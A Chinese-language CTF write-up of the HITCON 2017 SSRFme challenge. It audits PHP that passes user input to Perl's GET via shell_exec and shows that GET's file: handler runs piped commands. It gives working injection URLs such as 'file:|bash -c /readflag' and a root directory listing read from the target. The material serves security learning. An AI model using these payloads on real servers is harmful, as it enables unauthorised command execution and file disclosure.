[HITCON 2017]SSRFme

[HITCON 2017]SSRFme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

先审计一下代码吧,前面就是获取一个ip,拼接然后创造一个目录并进入,后面主要是下面这三个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

var_dump(pathinfo("index/x.php"));
var_dump(pathinfo("111"));

//运行结果
array(4) {
["dirname"]=>
string(5) "index"
["basename"]=>
string(5) "x.php"
["extension"]=>
string(3) "php"
["filename"]=>
string(1) "x"
}

array(3) {
["dirname"]=>
string(1) "."
["basename"]=>
string(3) "111"
["filename"]=>
string(3) "111"
}

这里我们直接让filename=111就可以避免再次创造一个文件夹并进入了,直接在当前目录下面创造一个文件名字为111

1
2
3
4
5
6
7
<?php
echo escapeshellarg("file:///")."\n";
echo escapeshellarg("id;ip addr");

//运行结果
'file:///'
'id;ip addr'

这个函数主要是为了防止命令执行,将参数用引号包裹起来,逗号就不起作用了

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));这里的GET是最难琢磨的,因为shell里面不带有这个命令,最后学习别的师傅的文章才知道这是perl带的

perl是一种编程语言,其中GET命令支持file协议,GET底层调用的是open函数,所以它可以传递式执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
kali@kali [~] ➜  GET /                                                            [0:54:30]
<HTML>
<HEAD>
<TITLE>Directory /</TITLE>
<BASE HREF="file:/">
</HEAD>
<BODY>
<H1>Directory listing of /</H1>
<UL>
<LI><A HREF="./">./</A>
<LI><A HREF="../">../</A>
<LI><A HREF=".cache/">.cache/</A>
<LI><A HREF="bin/">bin/</A>
<LI><A HREF="boot/">boot/</A>
<LI><A HREF="dev/">dev/</A>
<LI><A HREF="etc/">etc/</A>
<LI><A HREF="home/">home/</A>
<LI><A HREF="initrd.img">initrd.img</A>
<LI><A HREF="initrd.img.old">initrd.img.old</A>
<LI><A HREF="lib/">lib/</A>
<LI><A HREF="lib32/">lib32/</A>
<LI><A HREF="lib64/">lib64/</A>
<LI><A HREF="lost%2Bfound/">lost+found/</A>
<LI><A HREF="media/">media/</A>
<LI><A HREF="mnt/">mnt/</A>
<LI><A HREF="opt/">opt/</A>
<LI><A HREF="proc/">proc/</A>
<LI><A HREF="root/">root/</A>
<LI><A HREF="run/">run/</A>
<LI><A HREF="sbin/">sbin/</A>
<LI><A HREF="srv/">srv/</A>
<LI><A HREF="sys/">sys/</A>
<LI><A HREF="tmp/">tmp/</A>
<LI><A HREF="usr/">usr/</A>
<LI><A HREF="var/">var/</A>
<LI><A HREF="vmlinuz">vmlinuz</A>
<LI><A HREF="vmlinuz.old">vmlinuz.old</A>
</UL>
</BODY>
</HTML

可以看到,这个是可以直接读取/目录下的文件的,那就可以构造url=/&filename=123

1

发现了readflag和flag文件,flag文件读取出来是空的,看来我们是要执行readflag文件即可

1
2
3
4
kali@kali [~] ➜  GET file:///|bash -c ~/read                                      [0:54:38]
hello word
kali@kali [~] ➜ cat read [0:57:42]
echo "hello word"

这是我的本地测试,但是放在这里就是无法执行,这就让我非常疑惑了,查看别的师傅wp,好像是要创建一个同名的文件,才能执行命令

?url=&filename=|bash -c /readflag

?url=file:|bash -c /readflag&filename=456

感觉超级奇怪,可能是当时perl版本的与现在的版本差距很大了

考虑到filename函数的解析,创建的目录是|bash -c目录,下面有readflag文件,这就很难以理解了,考虑到题目太久远,就不多想了,以现在的GET为准吧